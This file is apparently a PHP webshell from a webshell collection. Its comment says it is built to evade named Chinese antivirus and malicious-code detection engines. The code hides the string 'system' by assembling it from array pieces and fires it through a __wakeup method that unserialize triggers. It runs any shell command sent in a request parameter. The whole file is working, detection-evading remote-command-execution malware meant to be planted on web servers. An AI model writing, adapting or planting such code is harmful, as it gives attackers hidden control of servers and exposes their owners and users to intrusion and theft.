webshell/php/system2022-08-22-2.php

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<?php
//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
class A{
public function __construct(){}
public function __wakeup(){
$b = $_GET[1];
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
Closure::fromCallable($a)->__invoke($_REQUEST[2]);
}
}
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');